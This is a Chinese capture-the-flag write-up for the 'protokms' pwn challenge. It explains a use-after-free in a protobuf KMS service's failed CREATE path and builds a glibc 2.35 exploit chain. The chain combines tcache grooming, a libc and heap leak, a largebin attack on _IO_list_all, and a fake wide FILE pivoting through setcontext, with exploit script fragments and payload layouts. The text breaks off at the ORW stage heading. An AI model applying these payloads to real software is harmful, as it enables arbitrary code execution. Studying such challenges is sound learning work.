长城杯决赛渗透PWN:protokms
长城杯决赛渗透pwn
protokms
总结
这题不是普通菜单堆题,而是一个用 protobuf-c 封装出来的 KMS 服务。真正的漏洞在 CREATE 的失败路径里:
- 先按
key_size申请堆块; - 立刻把指针写进全局槽位;
- 再校验
secret_key的真实长度; - 如果
len(secret_key) > key_size,就free掉刚申请的堆块; - 但不会把全局槽位清空。
于是我们可以稳定拿到一个 dangling pointer。后面的 READ 和 UPDATE 又都直接围绕这个全局槽位工作,于是整题就变成了一套完整的 UAF 利用链:
协议还原
-> CREATE 失败路径留下 stale slot
-> 利用堆切割做 alias / overlap
-> READ 泄露 libc + heap
-> free fake 0x430 chunk 进 unsorted
-> largebin attack 改 _IO_list_all
-> fake wide FILE + setcontext+0x3d
-> openat2 / read / write 拿 flag本地实际验证使用题目自带运行环境:
./ld-linux-x86-64.so.2 --library-path . ./protokms对应 libc.so.6 版本是:
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.13) stable release version 2.35.所以后文所有 largebin、_IO_list_all、wide FILE、setcontext 的分析都以 glibc 2.35 为准。
证据来源
kms.proto
直接给出了请求/响应协议和字段含义。protokms
虽然 stripped,但配合字符串、反汇编和全局数组访问,足够把CREATE / READ / UPDATE / DELETE的核心逻辑还原出来。
协议层还原
kms.proto 很直接:
syntax = "proto3";
enum ActionType {
CREATE = 0;
READ = 1;
UPDATE = 2;
DELETE = 3;
}
message Credential {
uint32 id = 1;
string service_name = 2;
uint32 key_size = 3;
bytes secret_key = 4;
}实际收发格式不是菜单字符串,而是:
2-byte little-endian length + protobuf body对应脚本里的 helper 也不是“3 参数菜单函数”,而是在封装一个完整的 Credential:
def add(id, name, key_size, content):
req.cred.id = id
req.cred.service_name = name
req.cred.key_size = key_size
req.cred.secret_key = content所以 add 有 4 个参数是协议决定的,不是多写了一个无关参数。只是从堆利用视角看,真正决定堆行为的往往是:
idkey_sizecontent
而 service_name 通常固定成 'aaa',主要只是陪跑字段。
题目源码逻辑还原
结合 kms.proto、字符串引用和 protokms 反汇编,可以把服务端内部消费的对象近似还原成:
struct proto {
char pad[0x18];
uint32_t id; // +0x18
char *key; // +0x20 -> service_name
uint32_t key_size; // +0x28 -> requested size
uint64_t value_len; // +0x30 -> len(secret_key)
void *value; // +0x38 -> secret_key.data
};程序全局上维护的是三组数组:
char key[16][32];
void *value[16];
uint32_t value_len[16];从反汇编里也能直接看出来:
0x8080一带按id * 0x20访问,明显是key[16][32]0x82c0一带按id * 8访问,保存真实堆指针0x8280一带按id * 4访问,保存逻辑长度
这里我们有一个自动化的脚本去识别
主循环和 action 分发
main 先读 2 字节长度,再读 protobuf 正文,调用 protobuf_c_message_unpack 解包,然后根据 action 分发:
CREATE走0x2690READ走0x2860UPDATE走0x2980DELETE走0x2ad0
如果包长超过 0x3ff,会打印:
[FATAL] Invalid packet length.然后直接走退出路径。这一点正好被最后的 FILE 利用拿来当触发器。
这里就是决定了我们不能输入大量的数据
CREATE:题目的真正漏洞点
把 0x2690 那段逻辑翻成伪代码,核心就是:
void create(proto *req) {
if (!req || req->id > 0xf || value[req->id] != NULL)
return response(0, "[ERROR] Invalid ID or Slot already in use.", 0);
if (req->key_size == 0 || req->key_size > 0x3ff)
return response(0, "[ERROR] Invalid Key Size.", 0);
void *p = calloc(req->key_size, 1);
value[req->id] = p;
if (!p)
return response(0, "[ERROR] Memory allocation failed.", 0);
if (req->key)
strncpy(key[req->id], req->key, 0x1f);
if (req->value && req->key_size >= req->value_len) {
memcpy(p, req->value, req->value_len);
value_len[req->id] = req->key_size;
return response(1, "[SUCCESS] Credential created.", 0);
}
free(p);
return response(0, "[ERROR] Invalid secret key.", 0);
}漏洞点非常干净:
- 先
calloc - 先写
value[id] = p - 最后才判断
len(secret_key) <= key_size - 失败后
free(p),但不会把value[id]清零
所以只要发送:
key_size = 0x100
len(secret_key) = 0x120程序就会真的申请一个 0x110 对应的 chunk,写进槽位,然后立刻 free 掉它,留下一个稳定的 stale pointer。
READ:把 dangling pointer 指向的内容原样打包回去
0x2860 这段逻辑等价于:
void read_cred(proto *req) {
if (!req || req->id > 0xf || value[req->id] == NULL)
return response(0, "[ERROR] Invalid ID or Slot empty.", 0);
Credential out = {0};
out.id = req->id;
out.service_name = key[req->id];
out.key_size = value_len[req->id];
out.secret_key.data = value[req->id];
out.secret_key.len = value_len[req->id];
return response(1, "...", &out);
}这意味着:
READ完全不关心这个指针是不是已经 free- 只要
value[id] != NULL - 它就会把那块内存按
value_len[id]长度原样塞进 protobuf 响应
所以这里的 READ 本质就是一个“带长度的 UAF read primitive”。
UPDATE:围绕 dangling pointer 的受限写原语
0x2980 的逻辑大致是:
void update(proto *req) {
if (!req || req->id > 0xf || value[req->id] == NULL)
return response(0, "[ERROR] Invalid ID or Slot empty.", 0);
if (!req->value)
return error;
if (req->key_size < req->value_len)
return error;
if (value_len[req->id] < req->key_size)
return error;
memcpy(value[req->id], req->value, req->value_len);
value_len[req->id] = req->key_size;
return response(1, "[SUCCESS] Credential updated.", 0);
}也就是说:
UPDATE可以继续对 dangling pointer 指向的区域memcpy- 只要本次请求的
key_size不超过当前槽位记录的逻辑长度 - 同时本次输入的真实长度不超过本次请求的
key_size
这给了我们一个非常稳定的“UAF write + 逻辑长度可调”原语。
DELETE:正常释放 + 清空槽位
0x2ad0 比较正常:
void delete(proto *req) {
if (!req || req->id > 0xf || value[req->id] == NULL)
return response(0, "[ERROR] Invalid ID or Slot empty.", 0);
free(value[req->id]);
value[req->id] = NULL;
value_len[req->id] = 0;
memset(key[req->id], 0, 0x20);
return response(1, "[SUCCESS] Credential deleted.", 0);
}因此这题不是“delete 忘记清空”的普通 UAF,而是更阴一点:
CREATE失败路径制造 dangling pointerREAD负责 leakUPDATE负责写 metadataDELETE负责在错误时机 free live chunk / free fake chunk
glibc 2.35 基础:这题到底在利用什么规则
下面这一节专门把这题用到的 glibc 基础规则捋一遍。后面所有“切割”“合并”“进 unsorted”“进 largebin”“刷 _IO_list_all”都建立在这些规则上。
先说明一下版本问题:
- 本地真实利用环境是题目自带的
libc.so.6,版本是Ubuntu GLIBC 2.35-0ubuntu3.13。 - 下面插入的源码链接来自 codebrowser 上公开可读的 glibc 源码树,用来解释同名逻辑。
- 本文只在“本地 2.35 反汇编已验证关键行为一致”的前提下引用这些源码路径,尤其是:
- chunk 布局
request2size- top chunk split
- tcache / unsorted / largebin
_IO_flush_all_IO_wfile_overflowsetcontext
1. chunk 物理布局:为什么 free chunk 头上会出现 fd/bk
glibc 在 malloc.c 里用 struct malloc_chunk 这套“视图”来描述 chunk。对这题最有用的字段只有 6 个:
struct malloc_chunk {
size_t prev_size;
size_t size;
struct malloc_chunk *fd;
struct malloc_chunk *bk;
struct malloc_chunk *fd_nextsize;
struct malloc_chunk *bk_nextsize;
};这不是说“每个已分配 chunk 都真的长期长这样”,而是说:
- 已分配 chunk 至少有
prev_size/size这两个头字段; - 一旦 chunk 被 free,用户区开头就会被 allocator 接管,拿来放:
fdbk- 对大 chunk 还会放
fd_nextsize/bk_nextsize
所以这题里:
show(3)读到的不是原始'a'- 而是 freed chunk 上的新链表指针
这不是“巧合覆盖”,而是 glibc 的正常 free 后布局。
对应源码:
- malloc.c:
struct malloc_chunk
2. PREV_INUSE 到底是什么意思
很多调试器里会显示:
Free chunk | PREV_INUSE这个 PREV_INUSE 不是在说“这个 chunk 自己正在使用”,而是在说:
当前 chunk 的前一个物理相邻 chunk 是否处于 in-use 状态glibc 在 malloc.c 里直接把这个 bit 塞在 size 的最低位。它的意义是:
- 如果
PREV_INUSE=1
glibc 不能往前合并,也不能安全地去读前一个 chunk 的prev_size - 如果
PREV_INUSE=0
glibc 才会认为当前 chunk 前面是一块 free chunk,并尝试 backward consolidate
所以这题里修 fake chunk 周围的头,不只是为了“好看”,而是为了让 _int_free 在检查:
prev_inusenextsize- 邻块边界
这些条件时不直接崩掉。
对应源码:
- malloc.c:
PREV_INUSE相关宏 - malloc.c: chunk 说明注释
3. 为什么 key_size = 0x100 会得到 0x110 chunk
这是这题最值得单独说明的一个点。
glibc 的源码里有两个看起来矛盾、但实际上一起成立的事实:
chunk2mem/mem2chunk使用的CHUNK_HDR_SZ是2 * SIZE_SZ,也就是 64 位下的0x10;request2size(req)只会在请求上额外加SIZE_SZ,也就是 64 位下的0x8,再做 0x10 对齐。
源码里对应的是:
CHUNK_HDR_SZrequest2size(req)- 以及前面那段 “allocated chunk looks like this” 的解释
这意味着:
64-bit:
SIZE_SZ = 0x8
CHUNK_HDR_SZ = 0x10
MALLOC_ALIGN = 0x10
MINSIZE = 0x20但是“从请求大小到 chunk size”的换算并不是简单的:
req + 0x10而是更接近:
align(req + 0x8, 0x10), 最小 0x20原因就在 glibc 自己的注释里写得很明白:当前 chunk 在 in-use 状态下,可以把“下一个 chunk 的 prev_size 那 8 个字节”借给应用当可用空间的一部分,所以对 request2size 来说,真正计入本 chunk 开销的是 SIZE_SZ 而不是完整 CHUNK_HDR_SZ。
于是这题里常见尺寸的映射是:
request 0x80 -> chunk 0x90
request 0x100 -> chunk 0x110
request 0x120 -> chunk 0x130
request 0x130 -> chunk 0x140
request 0x210 -> chunk 0x220
request 0x300 -> chunk 0x310
request 0x3f0 -> chunk 0x400所以你在这题里说:
key_size = 0x100对应0x110key_size = 0x210对应0x220
是直接能从 glibc 的 request2size 逻辑推出来的,不是经验背表。
对应源码:
- malloc.c:
CHUNK_HDR_SZ/chunk2mem/mem2chunk - malloc.c:
request2size - malloc.c: allocated chunk 注释
4. malloc 和 calloc 的入口差别:为什么这题的 CREATE 更容易切到 top
protokms 的 CREATE 调的不是 malloc,而是:
calloc(req->key_size, 1)这在 glibc 2.35 里有一个对本题非常关键、但很容易被忽略的区别:
__libc_malloc在入口就会先做一次 tcache fast path:
checked_request2size(bytes)- 计算
tc_idx - 如果对应 tcache bin 非空,就直接
tcache_get(tc_idx)返回
__libc_calloc虽然也会MAYBE_INIT_TCACHE(),但它后面不是“先从 tcache 直接弹一个回来”,而是拿着sz继续走_int_malloc(av, sz),最后再做清零
所以阶段 1 那几轮连续 add/free 的作用,不只是口语化地说“把 tcache 填满”,而是更准确地:
- 把几类常见尺寸的 free chunk 暂时停在 per-thread tcache 里;
- 让 arena 视角下的 unsorted / regular bins 状态更干净;
- 而后面的
CREATE(calloc)又不会像普通malloc那样,在入口先把这些 tcache 项直接tcache_get出来
这就解释了一个很容易让人困惑的现象:
- 明明前面已经预热过
0x210这类尺寸; - 但后面调试时,仍然能看到贴着 top 的新切块
从源码视角看,这并不矛盾。被“寄存”在 tcache 里的 chunk,和 _int_malloc 正在处理的 arena bins / top chunk,本来就是两套路径。本题正是利用了 CREATE=calloc 这个入口差异,让 heap grooming 的结果更稳定。
对应源码:
- malloc.c:
__libc_malloc的 tcache fast path - malloc.c:
__libc_calloc直接进入_int_malloc
5. 这题几个关键 size 在 glibc 里分别会落到哪条路径
如果把 glibc 2.35 的几个宏直接代进来,可以先得到两个边界:
MIN_LARGE_SIZE = 0x400
也就是只有chunk size < 0x400才算in_smallbin_rangeTCACHE_MAX_BINS = 64
配合tidx2usize(idx)可知默认最大 tcache request 是0x408,对应最大 tcache chunk 是0x410
于是这题里常见尺寸的“归宿”可以直接列出来:
request 0x80 -> chunk 0x90 -> tcache 范围
request 0x100 -> chunk 0x110 -> tcache 范围
request 0x120 -> chunk 0x130 -> tcache 范围,但前面没有专门预热这个 class
request 0x130 -> chunk 0x140 -> tcache 范围
request 0x210 -> chunk 0x220 -> tcache 范围
request 0x300 -> chunk 0x310 -> tcache 范围
request 0x3f0 -> chunk 0x400 -> 已经不算 smallbin,但仍然在默认 tcache 上限内
fake size 0x430 -> 超过 tcache 上限,且会走 largebin 路线这里最关键的不是背表,而是看出这几件事:
- 题里绝大多数正常申请尺寸,其实都还在默认 tcache 覆盖范围内。
0x400是一个很值得注意的边界:
- 对
in_smallbin_range来说,0x400已经不再算 smallbin; - 但对 tcache 来说,它仍然还能被缓存。
- 最后专门伪造
0x430不是随手写的大数字,而是为了同时满足:
- 这块 fake chunk 不会先被 tcache 吃掉;
- 它也不会走 smallbin;
- free 之后会先进入 unsorted,后续再由
_int_malloc整理进 largebin
这也就是为什么后面的 free(6),目标必须是一块 0x430 级别的 fake chunk,而不是 0x220、0x310、0x400 这种还会被前面路径截走的尺寸。
对应源码:
- malloc.c:
TCACHE_MAX_BINS/tidx2usize - malloc.c:
MIN_LARGE_SIZE/in_smallbin_range - malloc.c:
bin_index
6. top chunk:为什么前两次 add/free 看起来像“从顶上切下来”
glibc 的 Top 注释直接说明了:
- top chunk 永远不在任何 bin 里;
- 它是“堆末尾那块还能继续往后长”的特殊 chunk;
- 当没有更合适的 bin chunk 时,
malloc会优先从 top 上切一块给当前请求; - 剩余部分继续作为新的 top chunk。
而 _int_malloc 的 use_top: 路径里,逻辑就是:
victim = av->top- 计算
remainder_size = size - nb remainder = chunk_at_offset(victim, nb)av->top = remainder- 当前请求拿
victim - 剩下的
remainder继续充当新的 top
这正好解释了你前面那两次:
add(0,'aaa',0x120,b'a'*0x120)
free(0)
add(0,'aaa',0x210,b'a'*0x210)
free(0)为什么在图上看起来就是:
old top
-> 切出一个 0x130 chunk
-> top 往后移动
-> 再切出一个 0x220 级别 chunk
-> top 再往后移动这不是题目自己实现了什么“切片器”,而是 glibc 在 use_top: 这条普通分配路径上天然就会这么做。
对应源码:
- malloc.c: Top 注释
- malloc.c:
_int_malloc的use_top:路径
7. tcache:为什么脚本一上来都是 7 次
开头这些循环:
for i in range(7):
add(i,'aaa',0x100,b'a')
free(i)不是拍脑袋写的。glibc 2.35 的 malloc.c 里默认就是:
TCACHE_FILL_COUNT = 7而 mp_.tcache_count 默认就初始化成这个值。
也就是说,在默认配置下:
- 每个 tcache bin 最多缓存 7 个 chunk;
- 你先做 7 次同 size
malloc/free - 就能把对应 size class 的 tcache 状态固定下来
这也解释了为什么这题脚本里大量出现 “连续 7 次相同 size 的 add/free”。
另外,tcache 单链表的 next 不是明文指针,而是 PROTECT_PTR 处理过的值。所以你调试里看到像:
fd: 0x55556d633这种“不像正常地址”的数字,不是 GDB 坏了,而是 safe-linking 的结果。
对应源码:
- malloc.c:
TCACHE_FILL_COUNT = 7 - malloc.c:
tcache_put - malloc.c: safe-linking
PROTECT_PTR
8. free 的正常路径:为什么 fake chunk 周围必须修成“像真的”
glibc 对 normal chunk 的 free 路径并不是“塞进 bin 就完了”,而是要先过一轮基本一致性检查,再决定要不要前后合并。
在 _int_free_merge_chunk / _int_free_create_chunk 这两段里,glibc 会做:
- 检查
nextchunk是否越界; - 检查
prev_inuse(nextchunk); - 如果前后有 free chunk,就尝试 forward/backward consolidate;
- 最后把整理出来的新 free chunk 挂到 unsorted;
- 如果它不是 smallbin 范围,还会把
fd_nextsize / bk_nextsize先清空。
这正是为什么你在伪造 0x421/0x431 之后,还必须用:
edit(8,0x3f0,b'a'*0xe0+flat(... 0x21 ... 0x21 ...))去把重叠区域里的几个小 chunk 头补回来。
不修的话,glibc 在 free(6) 这一步读到:
- 邻块 size
PREV_INUSE- next chunk 边界
时就会直接在 _int_free 的一致性检查里崩掉,根本走不到 unsorted / largebin。
对应源码:
9. unsorted bin:为什么 glibc 会先给“一个机会”
glibc 对 unsorted bin 的官方注释非常适合拿来理解这题:
- 所有“分裂出来的 remainder”
- 以及所有“刚 free 回来的普通 chunk”
- 都会先放到 unsorted
- 然后在后续
malloc里给它们一次“直接复用”的机会 - 只有不合适时,才再分流到 regular bins
所以这题里 fake 0x430 chunk 的正确理解不是:
free -> 立刻 largebin而是:
free
-> 先挂 unsorted
-> 后续 malloc 扫 unsorted
-> 不直接满足当前请求
-> 再被整理进 largebin这个“中间先挂 unsorted”的阶段,正是我们补写 bk_nextsize 的窗口。
对应源码:
- malloc.c: Unsorted chunks 注释
- malloc.c:
_int_free_create_chunk挂 unsorted
10. largebin:为什么是 target - 0x20
当 unsorted 里的大 chunk 在后续 malloc 过程中被整理进 largebin 时,glibc 会维护两套链:
- 普通双向链:
fd / bk - 同尺寸有序链:
fd_nextsize / bk_nextsize
你这题真正利用的是 largebin 插入时对 fd_nextsize / bk_nextsize 的维护写入。
源码里最关键的几行就是:
victim->fd_nextsize = fwdvictim->bk_nextsize = fwd->bk_nextsizefwd->bk_nextsize = victimvictim->bk_nextsize->fd_nextsize = victim
最后这一句就是 largebin attack 的核心写原语来源。
而 fd_nextsize 这个字段位于 free chunk 视图中的:
chunk + 0x20所以你只要伪造:
bk_nextsize = target - 0x20当 glibc 执行:
victim->bk_nextsize->fd_nextsize = victim时,实际落点就变成:
*(target) = victim这就是这题里:
target = libc.sym["_IO_list_all"]
...
target - 0x20为什么正好能把 _IO_list_all 改成堆地址。
对应源码:
利用链
阶段 1:预热 tcache,固定后续分配行为
开头四个循环:
for i in range(7):
add(i,'aaa',0x100,b'a')
free(i)
for i in range(7):
add(i,'aaa',0x80,b'a')
free(i)
for i in range(7):
add(i,'aaa',0x130,b'a')
free(i)
for i in range(7):
add(i,'aaa',0x210,b'a')
free(i)目的不是立刻利用,而是把常见 size class 的 tcache 状态先固定下来。这样后面做切割、复用、UAF alias 的时候,chunk 的来源会更可预期。
这里还有一个和题目实现强相关的效果:这些预热出来的 free chunk 会先停在 tcache 里,而 CREATE 走的是 calloc,不是 malloc 的入口快路径。也就是说,后面 allocator 在 arena 视角下看到的状态,会比“普通菜单题直接用 malloc”更干净,这正是后面能稳定做 top split / alias 的基础之一。
阶段 2:先从 top 切两刀,准备后续的“堆切割”
接下来的两步:
add(0,'aaa',0x120,b'a'*0x120)
free(0)
add(0,'aaa',0x210,b'a'*0x210)
free(0)本质是在当前 top chunk 上预先切出两个目标 size 的空闲块。这样后面失败 CREATE 从这些大块里继续切的时候,布局会更稳定。
你调试里看到“紧挨着 top 的 free chunk 先变成 0x130,再多出一个 0x230/0x220 级别的大块”,就是这两刀的直接结果。
尤其第二刀最容易让人误判成“应该先去复用 tcache 里的旧块”。但这题这里真正发生的是 calloc -> _int_malloc 这套路径,而前面预热出来的同类 chunk 又被暂存在 per-thread tcache 里,不在 arena bins 上,所以你在堆图里看到贴着 top 的新切块,并不和前面的 7 次预热矛盾。
阶段 3:失败 CREATE + 复用,制造 stale alias
核心序列是:
add(0,'aaa',0x100,b'a'*0x100)
add(1,'aaa',0x100,b'a'*0x100)
add(2,'aaa',0x100,b'a'*0x100)
add(7,'aaa',0x100,b'a'*0x100)
add(8,"aaa",0x3f0,b'a'*0x100)
add(9,"aaa",0x100,b'a'*0x100)
add(10,"aaa",0x100,b'a'*0x100)
add(11,"aaa",0x100,b'a'*0x100)
add(12,"aaa",0x100,b'a'*0x100)
add(13,"aaa",0x300,b'a')
free(0)
add(0,'aaa',0x100,b'a'*0x120) # 失败 CREATE,留下 stale slot 0
add(3,'aaa',0x100,b'a'*0x100) # 复用同一块,slot 3 成为真实拥有者
free(1)
add(1,'aaa',0x100,b'a'*0x120) # 再制造一个 stale slot 1
free(0) # 用 stale slot 0 去 free slot 3 的 live chunk
free(7)这段的关键不是“单点 UAF”,而是“先切、再复用、再 alias”:
free(0)把一个可控小块放回 bin。- 失败
add(0, 0x100, 0x120)会从这个 free chunk 里切出一块0x110,然后马上 free,但slot 0仍然指着它。 add(3, 0x100, ...)立刻复用同一块,于是slot 0和slot 3实际指向同一块内存。- 此时
slot 0是 stale alias,slot 3是逻辑上的真正拥有者。 - 再
free(0),等价于从背后把slot 3的 live chunk free 掉。
于是我们得到:
stale alias -> free live chunk -> still-readable dangling slot阶段 4:为什么 show(3) 能同时泄露 libc 和 heap
泄露点在:
resp = show(3)
leak = resp.cred.secret_key
libc.address = u64(leak[:6].ljust(8,b'\x00')) - 0x21ace0
heap = u64(leak[8:14].ljust(8,b'\x00'))原因是:
slot 3逻辑上还存在- 但它指向的 chunk 已经被 free 给 allocator
READ又会把value[3]开头的value_len[3]字节整个打回给我们
这样读出来的就不再是原始 'a',而是当前 freed chunk 上的 bin 元数据。
这里能恢复两个基址:
main_arena附近地址
用来算libc base- tcache / 堆上指针
用来算heap base
到这里,后面的 fake FILE、_IO_list_all、堆上 ROP 全部都有了定位基础。
阶段 5:伪造 largebin victim
先把 slot 4 准备成 largebin victim 的落点:
add(4,'aaa',0x210,b'a')
add(5,'aaa',0x100,b'a')
free(4)
add(4,"aaa",0x130,b'a')
add(6,"aaa",0x80,b'a'*0x100) # 失败 CREATE,制造 stale slot 6
free(4)这几步的作用是:
slot 4附近先整理出一块将来能被重新占用的大区域slot 6则通过失败CREATE拿到一个 stale pointer- 后面重新把
slot 4申请回来并覆写后,free(6)就不再是“释放原来的小块”,而是在用 stale pointer 去 free 我们伪造出来的 fake chunk
然后在 slot 4 里布置 fake chunk 头:
pay = b'a' * 0x100 + flat(
0, 0x421,
0, 0, 0, 0, 0, 0x431
)
pay = pay.ljust(0x210,b'\0')
add(4,'aaa',0x210,pay)这里的布局含义是:
- 前
0x100字节保留给正常数据区 - 从
+0x100开始伪造一个size = 0x421的 chunk 头 - 紧跟着再伪造下一个 chunk 的头,让 glibc 的相邻检查看起来成立
而这一句:
edit(8,0x3f0,b'a'*0xe0+flat(
0,0x21,0,0,
0,0x21,0,0,
0,0x21,0,0,
0,0x21
))是在修补被重叠区域覆盖到的几个小 chunk 头,避免后续 free / 分配时直接触发一致性检查崩掉。
阶段 6:free(6) 的真正作用
这一步很关键:
free(6)它不是在“正常释放 6 号块”,而是在拿 slot 6 这个 stale pointer 去释放我们刚刚在 slot 4 里伪造出来的 fake 0x430 chunk。
也就是说:
slot 6 先被做成 dangling pointer
-> 重新占用 slot 4 并伪造 fake 0x430 chunk
-> free(6)
-> glibc 把这块 fake chunk 当真 chunk 收进 bin这一步之后,fake 0x430 chunk 就进入了 unsorted bin。
这里它之所以不会先被 tcache 吃掉,恰恰就是因为我们释放的已经不是原来的小块,而是一块伪造出来的 size = 0x430 的大 chunk。这个尺寸超过了默认 tcache 最大 chunk 0x410,同时也已经落在 !in_smallbin_range 的区域里,所以 arena 路线只会先把它挂到 unsorted,后面再进入 largebin。
阶段 7:为什么 largebin attack 能改 _IO_list_all
这里要结合 glibc 2.35 的 malloc/malloc.c 看。
1. fake chunk 先进入 unsorted
free(6) 后,这块 fake 0x430 先被挂进 unsorted bin。这个阶段 glibc 主要改的是:
fdbk
也就是 chunk 用户区前面的那组链表指针。
而 fd_nextsize / bk_nextsize 这组和 largebin 相关的字段,在它还停留在 unsorted 的时候通常还没被真正接管。这一点非常重要,因为它给了我们一个“先 free 进 unsorted,再补写 nextsize 字段”的窗口。
2. 在 fake chunk 里补写 bk_nextsize
脚本后面重新写 slot 4:
target = libc.sym["_IO_list_all"]
pay = b'a'*0x100 + flat(
0,0x421,0,0,0,0,0,0x431,
0,0,0,target-0x20
)
pay = pay.ljust(0x210,b'\0')
edit(4,0x210,pay)这里最关键的一项是:
bk_nextsize = _IO_list_all - 0x20之所以是 -0x20,是因为在 glibc 的 largebin 插入逻辑里,会维护同 size 链表,存在这样一类写入:
victim->bk_nextsize->fd_nextsize = victim而 fd_nextsize 字段正好位于 chunk 基址 +0x20 左右的位置。所以如果伪造:
victim->bk_nextsize = target - 0x20那么这次写入的落点就会变成:
*(target) = victim也就是把 _IO_list_all 改成我们堆上的 fake FILE 地址。
3. 触发 unsorted -> largebin 排序
后面的:
free(10)
add(10,'aaa',0x100,b'a')
free(1)
free(12)
add(12,'aaa',0x100,b'a')本质上是在继续推动 allocator 的状态变化,让之前那块挂在 unsorted 上的 fake 0x430 chunk 被正式整理进 largebin。
一旦这次 largebin 插入发生,上面的 bk_nextsize -> fd_nextsize 写入就会被触发,于是 _IO_list_all 被改到堆上。
从 malloc.c 的视角看这一步到底发生了什么
如果把这段利用完全翻成 glibc 术语,其实就是:
free fake 0x430 chunk
-> 先进入 unsorted bin
-> 后续 malloc 处理 unsorted
-> 这块 chunk 因为尺寸较大,被整理进 largebin
-> largebin 维护 nextsize 链
-> 触发 bk_nextsize / fd_nextsize 相关写入
-> 把 _IO_list_all 改成 victim 地址这里最重要的不是背某一个 if,而是抓住 malloc.c 的两个阶段:
_int_free阶段
负责把这块 fake0x430chunk 挂到 unsorted。_int_malloc阶段
后续分配时会扫描 unsorted,把不直接满足当前请求的 chunk 重新分类到 smallbin / largebin。
我们这题正是利用了这两个阶段之间的空档:
- 先让 fake chunk 作为“看起来合法的大 free chunk”进入 unsorted
- 再在它还没被整理进 largebin 前,补写
bk_nextsize - 最后通过后续分配触发 glibc 真正去做 largebin 插入
所以从源码视角看,target - 0x20 不是一个孤立技巧,而是卡在了 “unsorted 挂入” 和 “largebin 整理” 这两个 malloc 路径之间。
glibc 源码可以直接看:
malloc.c
阶段 8:为什么 _IO_list_all 一旦被改,退出时就会命中 fake FILE
这一段要看 glibc 2.35 的 libio/genops.c。
进程退出时,glibc 会沿着 _IO_list_all 遍历 FILE 链表并尝试 flush。对我们来说,最关键的结论只有两个:
_IO_list_all是 exit 路径上必经的 FILE 链表头。- 如果 fake FILE 满足 flush 条件,glibc 就会调用它的 vtable。
所以 largebin attack 成功之后,后面的事情其实就很直接:
_IO_list_all -> fake FILE on heap
exit
-> glibc 遍历 FILE 链
-> 命中 fake FILE
-> 走我们准备好的 wide FILE 路径为什么这里不能乱写 vtable
glibc 2.35 不会无条件相信你给的 vtable。libioP.h 里有 IO_validate_vtable,它会检查传入的 vtable 指针是不是落在 glibc 自己维护的 __io_vtables 区间里。
这意味着:
- 如果 vtable 直接指到堆上,通常会当场被拦下;
- 如果 vtable 指到 glibc 自己的 jump table 区域里,就能通过这层校验。
所以脚本里这一项:
0xd8: p64(libc.sym["_IO_wfile_jumps"] + 0x30)并不是“随便找了个函数表地址”,而是同时满足两个条件:
- 仍然落在 glibc 合法的 vtable 区域里,能过校验;
- 通过
+0x30这个偏移,把后续 JUMP 取到的槽位整体平移到 exploit 想要的 wide FILE helper 路径上。
这也是为什么这题最后走的是 _IO_wfile_* 路线,而不是直接伪造一张完全自定义的 FILE vtable。
对应源码可以看:
genops.clibioP.h
阶段 9:fake wide FILE + setcontext+0x3d
脚本里伪造的 FILE 在 slot 4,堆上的上下文区在 slot 13。
先在 slot 13 放好 ORW 和上下文数据:
heap_addr = heap + 0x960然后在 slot 4 构造 fake FILE:
fake_addr = heap - 0x220
pay = flat({
0x0: b"/bin/sh\0",
0x8: p64(1),
0x10: p64(heap_addr),
0x18: p64(libc.sym["setcontext"]+0x3d),
0x88: p64(fake_addr + 0x30),
0xa0: p64(fake_addr - 0x10),
0xc0: p64(1),
0xd0: p64(fake_addr),
0xd8: p64(libc.sym["_IO_wfile_jumps"] + 0x30)
}, filler = b'\0')这里最重要的不是背偏移,而是理解几个约束:
_mode = 1
逼 glibc 走 wide FILE 分支。_wide_data指向我们伪造的宽字符缓冲区。wide_data里的write_ptr > write_base
满足退出时的 flush 条件。vtable = _IO_wfile_jumps + 0x30
把调用引到 wide FILE 路径。- 最终通过这条路径落到我们布置好的
setcontext+0x3d。
为什么这些字段刚好满足 flush 条件
从 genops.c 的 _IO_flush_all_lockp 视角看,glibc 在遍历 FILE 链时,真正关心的是:
if ((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (fp->_mode > 0
&& fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))而我们这份 fake FILE 的对应关系正好是:
[fp + 0xc0] = 1
也就是_mode = 1,强制走 wide 分支;[fp + 0xa0] = fake_addr - 0x10
也就是_wide_data = fake_addr - 0x10;- 因为
_wide_data = fake_addr - 0x10
所以wide_data + 0x18 == fake_addr + 0x8
所以wide_data + 0x20 == fake_addr + 0x10
而脚本里:
0x8: p64(1)
0x10: p64(heap_addr)刚好等价于:
wide_data->_IO_write_base = 1
wide_data->_IO_write_ptr = heap_addr于是:
heap_addr > 1flush 条件自然成立,glibc 就会继续往 wide FILE 的 overflow 路径走,而不是提前把这个 fake FILE 忽略掉。
为什么 wide FILE 路径会和 setcontext 接上
从本地 libc.so.6 的 _IO_wfile_overflow 反汇编可以直接看到,这条路径一开始就会:
mov rdx, [rdi+0xa0]也就是先取:
rdx = fp->_wide_data后续大量逻辑也都是围绕这块 _wide_data 结构取字段、更新指针、再通过 vtable helper 继续走。所以这条链的本质不是“直接 call setcontext”,而是:
- 先把 glibc 骗进一条合法的 wide FILE 路径;
- 让它在这条路径里稳定解引用我们伪造的
_wide_data; - 再把最终 helper 的控制流带到
setcontext+0x3d。
这也是为什么 fake FILE 里那些 _wide_data、_mode、_lock 字段一个都不能省,它们不是装饰字段,而是 glibc 真会读、真会检查的路径条件。
为什么这里必须强调 glibc 2.35 的 setcontext
本地 libc.so.6 反汇编可以直接看到:
setcontext:
...
pop rdx
...
mov rsp, [rdx+0xa0]
...
mov rdi, [rdx+0x68]
mov rsi, [rdx+0x70]
mov rcx, [rdx+0x98]
mov r8, [rdx+0x28]
mov r9, [rdx+0x30]
mov r10, [rdx+0xa8]
mov rdx, [rdx+0x88]
...也就是说,在这份 glibc 2.35 里,setcontext 恢复上下文时真正依赖的是 rdx 指向的那块内存,而不是某些旧版本利用里常见的“默认靠 rdi 传上下文”。
所以这里的 fake FILE 不是简单 call 一个 gadget,而是要:
- 先把 glibc 的 wide FILE 路径调起来
- 再把它带到
setcontext+0x3d - 然后让
rdx指向我们在堆上准备好的上下文区 - 最终 pivot 到堆上的 ORW 链
从 glibc 源码视角把后半条链压成一句话,就是:
_IO_flush_all_lockp
-> _IO_OVERFLOW(fake_fp, EOF)
-> _IO_wfile_* helper
-> setcontext+0x3d
-> 从 rdx 指向的堆区恢复寄存器
-> 堆上 ORW对应源码 / 反汇编位置:
wfileops.csetcontext.S
阶段 10:seccomp 下的 ORW
